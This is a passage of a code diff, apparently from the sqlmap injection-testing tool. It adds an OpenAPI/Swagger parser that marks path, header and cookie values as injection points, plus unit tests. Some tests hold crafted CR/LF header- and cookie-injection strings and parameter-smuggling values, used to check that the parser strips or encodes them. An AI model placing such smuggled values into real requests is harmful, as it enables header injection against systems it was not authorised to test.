elif "default" in schema: + value = schema["default"] + elif isinstance(schema.get("examples"), list) and schema["examples"]: + value = schema["examples"][0] + elif isinstance(schema.get("enum"), list) and schema["enum"]: + value = schema["enum"][0] + else: + combinator = next((_ for _ in ("allOf", "oneOf", "anyOf") if schema.get(_)), None) + if combinator: + if combinator == "allOf": + merged = {} + for sub in schema[combinator]: + part = _example(spec, sub, seen, depth + 1, cache) + if isinstance(part, dict): + merged.update(part) + value = merged if merged else _example(spec, schema[combinator][0], seen, depth + 1, cache) + else: + value = _example(spec, schema[combinator][0], seen, depth + 1, cache) + else: + _type = schema.get("type") + if isinstance(_type, list): # OpenAPI 3.1 allows a list of types (e.g. ["string", "null"]) + _type = next((_ for _ in _type if _ != "null"), None) + if _type == "object" or ("properties" in schema and not _type): + properties = schema.get("properties") + value = dict((name, _example(spec, sub, seen, depth + 1, cache)) for name, sub in (properties if isinstance(properties, dict) else {}).items()) + elif _type == "array": + value = [_example(spec, schema.get("items") or {}, seen, depth + 1, cache)] + elif _type in ("integer", "number"): + value = 1 + elif _type == "boolean": + value = True + elif _type == "string": + formats = {"uuid": "11111111-1111-1111-1111-111111111111", "date": "2020-01-01", "date-time": "2020-01-01T00:00:00Z", "email": "a@b.co", "byte": "MQ=="} + value = formats.get(schema.get("format"), "1") + else: + value = "1" + + if ref is not None: + cache[ref] = value + return value + +def _scalar(value): + if isinstance(value, bool): + return "true" if value else "false" + if isinstance(value, (int, float)): + return str(value) + if isinstance(value, six.string_types): + return value + try: + return json.dumps(value) + except TypeError: # e.g. datetime.date from a YAML 'example: 2020-01-01' + return str(value) + +_NO_EXAMPLE = object() + +def _explicitExample(spec, container): + # a concrete 'example'/'examples' declared on a parameter or media-type object - preferred over a + # schema-synthesized value (real specs carry the canonical, validation-passing sample here). 'examples' + # is a map of name -> {"value": ...} (each entry possibly a $ref). + if not isinstance(container, dict): + return _NO_EXAMPLE + if container.get("example") is not None: # 'null' -> treat as absent, fall back to schema synthesis + return container["example"] + examples = container.get("examples") + if isinstance(examples, dict) and examples: + first = _resolve(spec, next(iter(examples.values()))) + if isinstance(first, dict) and first.get("value") is not None: + return first["value"] + return _NO_EXAMPLE + +def _noMark(text): + # strip any custom injection mark already present in a synthesized value so only the intentionally + # appended mark (if any) survives (avoids a stray/second injection point) + return text.replace(CUSTOM_INJECTION_MARK_CHAR, "") + +def _headerClean(text): + # remove characters that can not legally appear in an HTTP header name/value (CR, LF, NUL and other + # C0 controls) so a spec-supplied header can not inject extra headers or corrupt the request line + return re.sub(r"[\x00-\x1f\x7f]", "", text) + +_HEADER_NAME_RE = re.compile(r"\A[!#$%&'*+.^_`|~0-9A-Za-z-]+\Z") # RFC 7230 header field-name token (no spaces / ':' / separators) + +def _urlSafe(value, safe=""): + # percent-encode a synthesized value/name so it can not break the URL/body structure (spaces, '&', + # '=', '/', '?', '#', ...); py2/py3-safe (py2 urllib.quote needs bytes for non-ASCII). 'safe' keeps + # selected chars unescaped (e.g. "[]" for deep-object parameter names like filter[status]). + try: + return _quote(value.encode("utf-8") if isinstance(value, six.text_type) else str(value), safe=safe) + except Exception: + return value + +def _baseUrl(spec, origin=None, servers=None): + # defensive throughout: a hostile/loose spec must not crash here (this runs outside the per-operation + # try/except, so an exception would abort the whole extraction). 'servers' overrides the spec-level + # 'servers' (used for per-path / per-operation 'servers'). + basePath = spec.get("basePath") if isinstance(spec.get("basePath"), six.string_types) else "" + if basePath and not basePath.startswith("/"): # Swagger v2 basePath is a path -> ensure it is slash-prefixed + basePath = "/" + basePath + servers = servers if servers is not None else spec.get("servers") + if isinstance(servers, list) and servers and isinstance(servers[0], dict): + url = servers[0].get("url") + url = url if isinstance(url, six.string_types) else "" + variables = servers[0].get("variables") + if isinstance(variables, dict): + for name, meta in variables.items(): + default = meta.get("default", "1") if isinstance(meta, dict) else "1" + url = url.replace("{%s}" % name, str(default)) + if re.match(r"(?i)[a-z][a-z0-9+.-]*://", url): # absolute server URL -> used as declared (the host is NOT rewritten to the spec's own origin) + return url.rstrip('/') + return ((origin.rstrip('/') if origin else "") + "/" + url.lstrip('/')).rstrip('/') # relative server URL -> resolved against origin + if spec.get("host"): # Swagger v2 with an explicit host + schemes = spec.get("schemes") + scheme = schemes[0] if isinstance(schemes, list) and schemes else "https" + return "%s://%s%s" % (scheme, spec["host"], basePath.rstrip('/')) + return (origin.rstrip('/') if origin else "") + basePath.rstrip('/') # no servers/host -> spec's own origin + +_METHODS = ("get", "post", "put", "delete", "patch", "options", "head") + +def openApiTargets(content, origin=None): + """ + Returns a list of (url, method, data, headers) request tuples derived from an OpenAPI/Swagger + specification. 'headers' is a list of (name, value) tuples (matching conf.httpHeaders). 'origin' + (scheme://host[:port] of the specification's own location) is used only to resolve RELATIVE 'servers' + entries - absolute server URLs are used as declared. Path parameters and header/cookie values carry + the custom injection mark so they become testable injection points. + """ + + spec = _loadSpec(content) + if not isinstance(spec, dict) or not isinstance(spec.get("paths"), dict) or not spec.get("paths"): + errMsg = "no valid 'paths' object found in the provided OpenAPI/Swagger specification" + raise ValueError(errMsg) + + try: + rootBase = _baseUrl(spec, origin) + except Exception: # never let base-URL synthesis abort the whole run + rootBase = origin.rstrip('/') if isinstance(origin, six.string_types) else "" + isV2 = "swagger" in spec and "openapi" not in spec + retVal = [] + cache = {} # $ref -> synthesized example, shared across all operations (large specs reuse schemas) + + for path, item in (spec.get("paths") or {}).items(): + item = _resolve(spec, item) # a Path Item object may itself be a $ref + if not isinstance(item, dict): + continue + shared = item.get("parameters") or [] # 'or []': a present-but-null 'parameters' must not break concatenation + for method, operation in item.items(): + if str(method).lower() not in _METHODS or not isinstance(operation, dict): # str(): YAML keys can be non-string (e.g. 404, 'on'->bool) + continue + try: + # effective base URL with OpenAPI precedence: operation 'servers' > path-item 'servers' > root + opServers = operation.get("servers") or item.get("servers") + base = rootBase + if opServers: + try: + base = _baseUrl(spec, origin, opServers) + except Exception: + base = rootBase + + # merge path-level + operation-level parameters, de-duplicated by (in, name); operation wins + params, seen = [], {} + for raw in ((shared if isinstance(shared, list) else []) + (operation.get("parameters") or [])): + resolved = _resolve(spec, raw) + if isinstance(resolved, dict) and resolved.get("name"): + key = (resolved.get("in"), resolved.get("name")) + if key in seen: + params[seen[key]] = resolved + continue + seen[key] = len(params) + params.append(resolved) + + urlPath = path if isinstance(path, six.string_types) else str(path) + query, headers, form, cookies = [], [], [], [] + + for param in params: + if not isinstance(param, dict): + continue + location, name = param.get("in"), param.get("name") + if not name: + continue + if not isinstance(name, six.string_types): # YAML can yield a non-string param name (e.g. 5) + name = str(name) + explicit = _explicitExample(spec, param) # parameter-level example/examples wins over schema synthesis + if explicit is not _NO_EXAMPLE: + value = _scalar(explicit) + else: + schema = param.get("schema") or {"type": param.get("type", "string")} + value = _scalar(_example(spec, schema, cache=cache)) + if location == "path": + # mark the filled path segment as a (custom) URI injection point - path parameters are + # prime REST injection targets; the value is encoded first so its own chars add no mark + urlPath = urlPath.replace("{%s}" % name, _urlSafe(value) + CUSTOM_INJECTION_MARK_CHAR) + elif location == "query": + # best-effort: array/object query params are scalarized (single value), NOT expanded per + # OpenAPI style/explode (repeated keys, comma/space/pipe delimited, deepObject) - the goal + # is one testable request per operation, not faithful serialization + query.append("%s=%s" % (_urlSafe(name, "[]"), _urlSafe(value))) + elif location == "header": + # append the custom injection mark so the header value becomes a testable (custom) + # injection point (non-exclusive: query/body params are still auto-tested); skip names + # that are not valid HTTP field-name tokens + headerName = _headerClean(name) + if headerName and _HEADER_NAME_RE.match(headerName): + headers.append((headerName, "%s%s" % (_headerClean(_noMark(value)), CUSTOM_INJECTION_MARK_CHAR))) + elif location == "cookie": + # a cookie name is a token; the value must not contain cookie-structure chars ('; ,' + # and whitespace) or a spec could smuggle extra cookie pairs + cookieName = _headerClean(name) + if cookieName and _HEADER_NAME_RE.match(cookieName): + cookieValue = re.sub(r"[;,\s]", "", _headerClean(_noMark(value))) + cookies.append("%s=%s%s" % (cookieName, cookieValue, CUSTOM_INJECTION_MARK_CHAR)) + elif location == "formData": # Swagger v2 in:"formData" -> urlencoded body field + form.append("%s=%s" % (_urlSafe(name, "[]"), _urlSafe(value))) + + if cookies: # aggregate all cookie params into a single Cookie header + headers.append((HTTP_HEADER.COOKIE, "; ".join(cookies))) + + urlPath = urlPath.replace(" ", "%20").replace("?", "%3F").replace("#", "%23") # keep a literal path key from breaking the URL (filled values are already encoded) + if urlPath and not urlPath.startswith("/"): # OpenAPI path keys start with '/'; harden a loose spec so base+path is not glued (/v1pets) + urlPath = "/" + urlPath + + url = base + urlPath + if query: + url += "?" + "&".join(query) + + url = re.sub(r"\{[^}]+\}", "1", url) # any leftover template var (undefined path OR server variable) -> "1" + + if not re.match(r"(?i)[a-z][a-z0-9+.-]*://", url): # no scheme/host -> unscannable relative URL + logger.warning("skipping OpenAPI operation '%s %s' (unable to resolve an absolute target URL; provide the specification by URL or add a 'servers'/'host' entry)" % (str(method).upper(), path)) + continue + + data = None + body = _resolve(spec, operation.get("requestBody") or {}) + content_ = body.get("content") if isinstance(body, dict) else None + if isinstance(content_, dict) and content_: + mediaTypes = [_ for _ in content_ if isinstance(_, six.string_types)] # media-type keys must be strings + picked = next((_ for _ in mediaTypes if _ == "application/json" or _.endswith("+json") or "json" in _), None) \ + or ("application/x-www-form-urlencoded" if "application/x-www-form-urlencoded" in mediaTypes else None) \ + or (mediaTypes[0] if mediaTypes else None) + if picked: + mediaType = content_[picked] if isinstance(content_[picked], dict) else {} + example = _explicitExample(spec, mediaType) # media-type-level example/examples wins over schema synthesis + if example is _NO_EXAMPLE: + example = _example(spec, mediaType.get("schema") or {}, cache=cache) + if "json" in picked: + data = _noMark(json.dumps(example, default=str)) + headers.append((HTTP_HEADER.CONTENT_TYPE, "application/json")) + elif picked == "application/x-www-form-urlencoded" and isinstance(example, dict): + data = "&".join("%s=%s" % (_urlSafe(name, "[]"), _urlSafe(_scalar(value))) for name, value in example.items()) + headers.append((HTTP_HEADER.CONTENT_TYPE, "application/x-www-form-urlencoded")) + elif isinstance(example, six.string_types): + # raw (text / xml / ...) body -> mark it so the whole body becomes a testable point + data = _noMark(example) + CUSTOM_INJECTION_MARK_CHAR + headers.append((HTTP_HEADER.CONTENT_TYPE, picked)) + else: # e.g. multipart/form-data or a structured non-JSON body (no safe serialization) + logger.debug("not synthesizing a '%s' request body for '%s %s'" % (picked, str(method).upper(), path)) + elif isinstance(operation.get("parameters"), list) or isV2: + for param in params: # Swagger v2 in:"body" + if isinstance(param, dict) and param.get("in") == "body": + example = _example(spec, param.get("schema") or {}, cache=cache) + data = _noMark(json.dumps(example, default=str)) + headers.append((HTTP_HEADER.CONTENT_TYPE, "application/json")) + + if data is None and form: # Swagger v2 in:"formData" fields -> urlencoded body + data = "&".join(form) + headers.append((HTTP_HEADER.CONTENT_TYPE, "application/x-www-form-urlencoded")) + + retVal.append((url, str(method).upper(), data, headers or None)) + except Exception as ex: + logger.warning("skipping OpenAPI operation '%s %s' (%s)" % (str(method).upper(), path, getSafeExString(ex))) + + return retVal diff --git a/tests/test_openapi.py b/tests/test_openapi.py new file mode 100644 index 000000000..40c8cd930 --- /dev/null +++ b/tests/test_openapi.py @@ -0,0 +1,456 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Unit coverage for the OpenAPI/Swagger target extractor (lib/parse/openapi.py): schema example +synthesis, $ref resolution (incl. cycles), base-URL resolution (v2 + v3, relative/templated servers), +request-body handling (JSON / form), parameter->PLACE mapping, and (importantly) graceful handling of +malformed / poorly-defined specifications (a broken spec must never crash or hang the parser). + +stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x. +""" + +import json +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.parse.openapi import openApiTargets, yaml as _yaml + +HAS_YAML = _yaml is not None + + +def _targets(spec, origin="http://h"): + return openApiTargets(json.dumps(spec) if isinstance(spec, dict) else spec, origin) + +def _byMethodPath(targets): + return dict(("%s %s" % (method, url), (method, url, data, headers)) for url, method, data, headers in targets) + + +class TestOpenApi(unittest.TestCase): + def test_v3_query_path_and_base(self): + spec = {"openapi": "3.0.0", "servers": [{"url": "/api"}], + "paths": {"/pet/{id}": {"get": {"parameters": [ + {"name": "id", "in": "path", "schema": {"type": "integer"}}, + {"name": "q", "in": "query", "schema": {"type": "string", "example": "x"}}]}}}} + targets = _targets(spec, "http://host:8080") + self.assertEqual(len(targets), 1) + url, method, data, headers = targets[0] + self.assertEqual(method, "GET") + from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR as MARK + self.assertEqual(url, "http://host:8080/api/pet/1%s?q=x" % MARK) # relative server + filled+marked path + query + self.assertIsNone(data) + + def test_v3_json_body_sets_data_and_content_type(self): + spec = {"openapi": "3.0.0", "paths": {"/o": {"post": {"requestBody": {"content": {"application/json": + {"schema": {"type": "object", "properties": {"name": {"type": "string"}, "qty": {"type": "integer"}}}}}}}}}} + url, method, data, headers = _targets(spec)[0] + self.assertEqual(method, "POST") + self.assertEqual(json.loads(data), {"name": "1", "qty": 1}) + self.assertIn(("Content-Type", "application/json"), headers) + + def test_form_urlencoded_body(self): + spec = {"openapi": "3.0.0", "paths": {"/login": {"post": {"requestBody": {"content": + {"application/x-www-form-urlencoded": {"schema": {"type": "object", + "properties": {"u": {"type": "string"}, "p": {"type": "string"}}}}}}}}}} + url, method, data, headers = _targets(spec)[0] + self.assertEqual(sorted(data.split("&")), ["p=1", "u=1"]) + + def test_value_synthesis(self): + spec = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [ + {"name": "a", "in": "query", "schema": {"type": "integer"}}, + {"name": "b", "in": "query", "schema": {"type": "boolean"}}, + {"name": "c", "in": "query", "schema": {"type": "string", "enum": ["first", "second"]}}, + {"name": "d", "in": "query", "schema": {"type": "string", "default": "dd"}}, + {"name": "e", "in": "query", "schema": {"type": "string", "format": "uuid"}}]}}}} + url = _targets(spec)[0][0] + self.assertIn("a=1", url) + self.assertIn("b=true", url) + self.assertIn("c=first", url) # enum[0] + self.assertIn("d=dd", url) # default + self.assertIn("e=11111111-1111-1111-1111-111111111111", url) # format uuid + + def test_ref_resolution_and_allof_oneof(self): + spec = {"openapi": "3.0.0", + "components": {"schemas": {"Tag": {"type": "object", "properties": {"n": {"type": "string"}}}}}, + "paths": { + "/ref": {"post": {"requestBody": {"content": {"application/json": {"schema": {"$ref": "#/components/schemas/Tag"}}}}}}, + "/all": {"post": {"requestBody": {"content": {"application/json": {"schema": {"allOf": [ + {"type": "object", "properties": {"x": {"type": "string"}}}, + {"type": "object", "properties": {"y": {"type": "integer"}}}]}}}}}}, + "/one": {"post": {"requestBody": {"content": {"application/json": {"schema": {"oneOf": [ + {"type": "object", "properties": {"only": {"type": "string"}}}, + {"type": "object", "properties": {"other": {"type": "string"}}}]}}}}}}}} + m = _byMethodPath(_targets(spec)) + self.assertEqual(json.loads(m["POST http://h/ref"][2]), {"n": "1"}) + self.assertEqual(json.loads(m["POST http://h/all"][2]), {"x": "1", "y": 1}) # allOf merged + self.assertEqual(json.loads(m["POST http://h/one"][2]), {"only": "1"}) # oneOf -> first + + def test_ref_cycle_terminates(self): + spec = {"openapi": "3.0.0", + "components": {"schemas": {"Node": {"type": "object", "properties": { + "name": {"type": "string"}, "parent": {"$ref": "#/components/schemas/Node"}}}}}, + "paths": {"/n": {"post": {"requestBody": {"content": {"application/json": + {"schema": {"$ref": "#/components/schemas/Node"}}}}}}}} + targets = _targets(spec) # must not hang / recurse forever + self.assertEqual(len(targets), 1) + self.assertTrue(json.loads(targets[0][2]).get("name") == "1") + + def test_swagger_v2_base_and_body(self): + spec = {"swagger": "2.0", "host": "api.example.com", "basePath": "/v2", "schemes": ["https"], + "paths": {"/pet": {"post": {"parameters": [{"name": "b", "in": "body", + "schema": {"type": "object", "properties": {"id": {"type": "integer"}}}}]}}}} + url, method, data, headers = _targets(spec, None)[0] + self.assertEqual(url, "https://api.example.com/v2/pet") + self.assertEqual(json.loads(data), {"id": 1}) + + def test_server_template_variables(self): + spec = {"openapi": "3.0.0", "servers": [{"url": "https://{env}.x.io/{ver}", + "variables": {"env": {"default": "prod"}, "ver": {"default": "v3"}}}], + "paths": {"/p": {"get": {}}}} + self.assertEqual(_targets(spec, None)[0][0], "https://prod.x.io/v3/p") + + def test_headers_are_hashable_tuples(self): + # kb.targets is an OrderedSet, so the emitted headers must be hashable (tuple, not list) + spec = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [ + {"name": "h", "in": "header", "schema": {"type": "string"}}]}}}} + headers = _targets(spec)[0][3] + self.assertTrue(headers is None or isinstance(tuple(headers), tuple)) + + def test_header_and_cookie_params_are_injection_marked(self): + # header/cookie params get the custom injection mark ('*') appended so they become testable + # (custom) injection points (query/body params are still auto-tested alongside them) + from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR as MARK + spec = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [ + {"name": "X-Api", "in": "header", "schema": {"type": "string", "example": "k"}}, + {"name": "sess", "in": "cookie", "schema": {"type": "string", "example": "v"}}]}}}} + headers = dict(_targets(spec)[0][3]) + self.assertEqual(headers["X-Api"], "k" + MARK) + self.assertEqual(headers["Cookie"], "sess=v" + MARK) + + # --- graceful degradation: a broken/poorly-defined spec must never crash the parser --- + + def test_malformed_raises_valueerror(self): + for bad in ("{not json,,,", "[1,2,3]", "{}", '{"openapi":"3.0.0"}', '{"openapi":"3.0.0","paths":[1,2]}'): + self.assertRaises(ValueError, openApiTargets, bad, "http://h") + + def test_malformed_servers_do_not_crash(self): + for servers in ('{"url":"/a"}', '"http://h"', "[]"): + spec = '{"openapi":"3.0.0","servers":%s,"paths":{"/x":{"get":{}}}}' % servers + self.assertEqual(len(openApiTargets(spec, "http://h")), 1) # no crash, still one target + + def test_url_and_body_values_are_encoded(self): + # special characters in synthesized values must be percent-encoded so they can not break the + # URL structure (param smuggling) or the form body + spec = {"openapi": "3.0.0", "paths": { + "/x/{p}": {"get": {"parameters": [ + {"name": "p", "in": "path", "schema": {"type": "string", "example": "a/b"}}, + {"name": "q", "in": "query", "schema": {"type": "string", "example": "a b&c=d"}}]}}, + "/f": {"post": {"requestBody": {"content": {"application/x-www-form-urlencoded": + {"schema": {"type": "object", "properties": {"u": {"type": "string", "example": "a b&x"}}}}}}}}}} + byMethod = dict((method, (url, data)) for url, method, data, headers in _targets(spec)) + getUrl = byMethod["GET"][0] + self.assertIn("/x/a%2Fb", getUrl) # path value '/' encoded (no extra segment) + self.assertIn("q=a%20b%26c%3Dd", getUrl) # query value space/&/= encoded (no smuggling) + self.assertNotIn(" ", getUrl) + self.assertEqual(byMethod["POST"][1], "u=a%20b%26x") + + @unittest.skipUnless(HAS_YAML, "pyyaml not available") + def test_yaml_spec(self): + y = ("openapi: 3.0.0\n" + "paths:\n" + " /y:\n" + " get:\n" + " parameters:\n" + " - name: q\n" + " in: query\n" + " schema: {type: string, example: hi}\n") + targets = openApiTargets(y, "http://h") + self.assertEqual(len(targets), 1) + self.assertEqual(targets[0][0], "http://h/y?q=hi") + + def test_shared_recursive_refs_scale(self): + # a self-referential schema reused across many operations must terminate promptly (depth cap + + # per-$ref memoization); without them this would blow up exponentially and hang the test + schemas = {"Node": {"type": "object", "properties": { + "name": {"type": "string"}, + "child": {"$ref": "#/components/schemas/Node"}, + "list": {"type": "array", "items": {"$ref": "#/components/schemas/Node"}}}}} + paths = dict(("/n%d" % i, {"post": {"requestBody": {"content": {"application/json": + {"schema": {"$ref": "#/components/schemas/Node"}}}}}}) for i in range(60)) + targets = _targets({"openapi": "3.0.0", "components": {"schemas": schemas}, "paths": paths}) + self.assertEqual(len(targets), 60) + self.assertEqual(json.loads(targets[0][2]).get("name"), "1") + + def test_swagger_v2_formdata_body(self): + # in:"formData" params must become a urlencoded body (previously dropped -> empty POST) + spec = {"swagger": "2.0", "host": "h", "paths": {"/l": {"post": {"parameters": [ + {"name": "u", "in": "formData", "type": "string"}, + {"name": "p", "in": "formData", "type": "string"}]}}}} + url, method, data, headers = _targets(spec, None)[0] + self.assertEqual(method, "POST") + self.assertEqual(sorted(data.split("&")), ["p=1", "u=1"]) + + def test_relative_base_is_skipped(self): + # a spec that yields no scheme/host (relative server + no origin) must be skipped, not emitted + spec = {"openapi": "3.0.0", "servers": [{"url": "/api"}], "paths": {"/x": {"get": {}}}} + self.assertEqual(openApiTargets(json.dumps(spec), None), []) # relative -> skipped + self.assertEqual(len(openApiTargets(json.dumps(spec), "http://h")), 1) # absolute with origin -> kept + + def test_unsupported_body_media_type_no_crash(self): + # a structured body under a non-JSON/form media type must not crash and must not fabricate a body, + # but the endpoint URL is still produced + spec = {"openapi": "3.0.0", "paths": {"/x": {"post": {"requestBody": {"content": {"application/xml": + {"schema": {"type": "object", "properties": {"a": {"type": "string"}}}}}}}}}} + url, method, data, headers = _targets(spec)[0] + self.assertEqual((url, method, data), ("http://h/x", "POST", None)) + + def test_injection_mark_char_in_value_is_not_doubled(self): + # an example value already containing the custom injection mark must not create a stray point + from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR as MARK + spec = {"openapi": "3.0.0", "paths": {"/x": {"post": { + "parameters": [{"name": "H", "in": "header", "schema": {"type": "string", "example": "a%sb" % MARK}}], + "requestBody": {"content": {"application/json": {"schema": {"type": "object", + "properties": {"n": {"type": "string", "example": "x%sy" % MARK}}}}}}}}}} + url, method, data, headers = _targets(spec)[0] + self.assertEqual(dict(headers)["H"], "ab" + MARK) # single trailing mark only + self.assertEqual(json.loads(data), {"n": "xy"}) # mark stripped from body value + + @unittest.skipUnless(HAS_YAML, "pyyaml not available") + def test_non_string_method_keys_do_not_crash(self): + # YAML path-item keys are not guaranteed to be strings (404 -> int, on -> bool); must not crash + y = ("openapi: 3.0.0\n" + "servers: [{url: 'http://h'}]\n" + "paths:\n" + " /x:\n" + " get: {}\n" + " 404: {}\n" + " on: {}\n") + targets = openApiTargets(y, "http://h") + self.assertEqual(len(targets), 1) # only the real GET operation + self.assertEqual(targets[0][1], "GET") + + def test_hostile_base_url_metadata_does_not_crash(self): + # _baseUrl runs once, OUTSIDE the per-operation try, so malformed server/scheme/basePath metadata + # must not raise (it would abort the entire extraction) + hostile = [ + {"openapi": "3.0.0", "servers": [{"url": "https://{e}.x/", "variables": [1, 2]}], "paths": {"/x": {"get": {}}}}, + {"openapi": "3.0.0", "servers": [{"url": "https://{e}.x/", "variables": {"e": "prod"}}], "paths": {"/x": {"get": {}}}}, + {"openapi": "3.0.0", "servers": [{"url": 123}], "paths": {"/x": {"get": {}}}}, + {"swagger": "2.0", "host": "h", "schemes": {"a": 1}, "paths": {"/x": {"get": {}}}}, + {"swagger": "2.0", "host": "h", "basePath": 123, "paths": {"/x": {"get": {}}}}] + for spec in hostile: + self.assertEqual(len(_targets(spec)), 1) # no crash, still one target + + def test_param_entry_not_a_dict_is_skipped(self): + spec = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": ["oops", {"name": "q", "in": "query"}]}}}} + self.assertIn("q=1", _targets(spec)[0][0]) # bad entry skipped, good one still used + + @unittest.skipUnless(HAS_YAML, "pyyaml not available") + def test_yaml_date_examples_serialize(self): + # unquoted YAML dates parse to datetime.date, which is not JSON-serializable -> must be stringified, + # not silently dropped (dates are pervasive in real specs) + y = ("openapi: 3.0.0\n" + "servers: [{url: 'http://h'}]\n" + "paths:\n" + " /x:\n" + " post:\n" + " requestBody:\n" + " content:\n" + " application/json:\n" + " schema: {type: object, properties: {created: {type: string, example: 2020-01-01}}}\n") + url, method, data, headers = openApiTargets(y, "http://h")[0] + self.assertEqual(json.loads(data), {"created": "2020-01-01"}) + + def test_crlf_in_header_and_cookie_is_stripped(self): + # a spec-supplied header/cookie name or value must not carry CR/LF (header injection / request + # corruption); query/path values are separately percent-encoded + spec = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [ + {"name": "X-A", "in": "header", "schema": {"type": "string", "example": "a\r\nX-Evil: 1"}}, + {"name": "X\r\nB", "in": "header", "schema": {"type": "string", "example": "v"}}, + {"name": "sid", "in": "cookie", "schema": {"type": "string", "example": "a\r\nSet: x"}}]}}}} + headers = dict(_targets(spec)[0][3]) + for name, value in headers.items(): + self.assertNotIn("\r", name + value) + self.assertNotIn("\n", name + value) + self.assertIn("X-A", headers) + self.assertIn("XB", headers) # control chars removed from the name + + def test_explicit_examples_preferred_over_schema(self): + # a concrete example/examples on the media-type or parameter object must win over schema synthesis + # (real specs carry the canonical, validation-passing value there) + body = {"openapi": "3.0.0", "paths": {"/x": {"post": {"requestBody": {"content": {"application/json": { + "schema": {"type": "object", "properties": {"name": {"type": "string"}}}, "example": {"name": "real"}}}}}}}} + self.assertEqual(json.loads(_targets(body)[0][2]), {"name": "real"}) + examples = {"openapi": "3.0.0", "paths": {"/x": {"post": {"requestBody": {"content": {"application/json": { + "schema": {"type": "object"}, "examples": {"first": {"value": {"k": "v1"}}}}}}}}}} + self.assertEqual(json.loads(_targets(examples)[0][2]), {"k": "v1"}) + param = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [ + {"name": "q", "in": "query", "example": "E", "schema": {"type": "string"}}]}}}} + self.assertIn("q=E", _targets(param)[0][0]) + + def test_openapi_31_const_and_type_array(self): + spec = {"openapi": "3.1.0", "paths": {"/x": {"get": {"parameters": [ + {"name": "c", "in": "query", "schema": {"const": "CV"}}, + {"name": "n", "in": "query", "schema": {"type": ["integer", "null"]}}]}}}} + url = _targets(spec)[0][0] + self.assertIn("c=CV", url) # const used + self.assertIn("n=1", url) # ["integer","null"] resolved to integer, not the generic fallback + + def test_parameter_names_are_encoded(self): + # a param NAME with structural chars must be encoded so it can not split/smuggle params or truncate + # at a fragment; deep-object brackets ([]) are preserved + spec = {"openapi": "3.0.0", "paths": { + "/q": {"get": {"parameters": [ + {"name": "a&b=c", "in": "query", "schema": {"type": "string"}}, + {"name": "a#b", "in": "query", "schema": {"type": "string"}}, + {"name": "filter[status]", "in": "query", "schema": {"type": "string"}}]}}, + "/f": {"post": {"requestBody": {"content": {"application/x-www-form-urlencoded": + {"schema": {"type": "object", "properties": {"x&y": {"type": "string"}}}}}}}}}} + byMethod = dict((method, (url, data)) for url, method, data, headers in _targets(spec)) + getUrl = byMethod["GET"][0] + self.assertIn("a%26b%3Dc=1", getUrl) + self.assertIn("a%23b=1", getUrl) + self.assertIn("filter[status]=1", getUrl) # brackets kept (deep-object param names) + self.assertNotIn("#", getUrl) + self.assertEqual(byMethod["POST"][1], "x%26y=1") + + def test_undefined_template_var_does_not_leak(self): + # a server/path template variable with no definition must not leave a literal '{...}' in the URL + spec = {"openapi": "3.0.0", "servers": [{"url": "https://api.x.com/{basePath}/v3"}], + "paths": {"/pets": {"get": {}}}} + url = _targets(spec, "http://h")[0][0] + self.assertNotIn("{", url) + self.assertEqual(url, "https://api.x.com/1/v3/pets") # absolute server used as-is (host not rewritten) + + def test_absolute_server_url_is_not_rewritten_to_origin(self): + # a spec served from one host but declaring an absolute API server on another host must scan the + # DECLARED API host, not the spec's origin + spec = {"openapi": "3.0.0", "servers": [{"url": "https://api.example.com/v1"}], + "paths": {"/pets": {"get": {}}}} + self.assertEqual(_targets(spec, "https://docs.example.com")[0][0], "https://api.example.com/v1/pets") + + def test_path_parameter_is_injection_marked(self): + from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR as MARK + spec = {"openapi": "3.0.0", "paths": {"/users/{id}": {"get": {"parameters": [ + {"name": "id", "in": "path", "schema": {"type": "integer"}}]}}}} + self.assertEqual(_targets(spec)[0][0], "http://h/users/1" + MARK) + + def test_form_urlencoded_sets_content_type_and_multipart_skipped(self): + form = {"openapi": "3.0.0", "paths": {"/f": {"post": {"requestBody": {"content": + {"application/x-www-form-urlencoded": {"schema": {"type": "object", "properties": {"u": {"type": "string"}}}}}}}}}} + url, method, data, headers = _targets(form)[0] + self.assertEqual(data, "u=1") + self.assertIn(("Content-Type", "application/x-www-form-urlencoded"), headers) + multipart = {"openapi": "3.0.0", "paths": {"/m": {"post": {"requestBody": {"content": + {"multipart/form-data": {"schema": {"type": "object", "properties": {"u": {"type": "string"}}}}}}}}}} + url, method, data, headers = _targets(multipart)[0] + self.assertIsNone(data) # multipart is skipped, not mis-serialized as urlencoded + + def test_path_item_ref_is_resolved(self): + spec = {"openapi": "3.1.0", + "components": {"pathItems": {"Ping": {"get": {"parameters": [ + {"name": "q", "in": "query", "schema": {"type": "string", "example": "z"}}]}}}}, + "paths": {"/ping": {"$ref": "#/components/pathItems/Ping"}}} + targets = _targets(spec) + self.assertEqual(len(targets), 1) + self.assertIn("q=z", targets[0][0]) + + def test_operation_parameter_overrides_path_level(self): + spec = {"openapi": "3.0.0", "paths": {"/x": { + "parameters": [{"name": "q", "in": "query", "schema": {"type": "string", "example": "shared"}}], + "get": {"parameters": [{"name": "q", "in": "query", "schema": {"type": "string", "example": "op"}}]}}}} + url = _targets(spec)[0][0] + self.assertIn("q=op", url) # operation value wins + self.assertEqual(url.count("q="), 1) # not duplicated + + def test_multiple_cookies_aggregate_into_one_header(self): + from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR as MARK + spec = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [ + {"name": "a", "in": "cookie", "schema": {"type": "string"}}, + {"name": "b", "in": "cookie", "schema": {"type": "string"}}]}}}} + headers = _targets(spec)[0][3] + cookieHeaders = [v for (k, v) in headers if k == "Cookie"] + self.assertEqual(cookieHeaders, ["a=1%s; b=1%s" % (MARK, MARK)]) # one aggregated Cookie header + + def 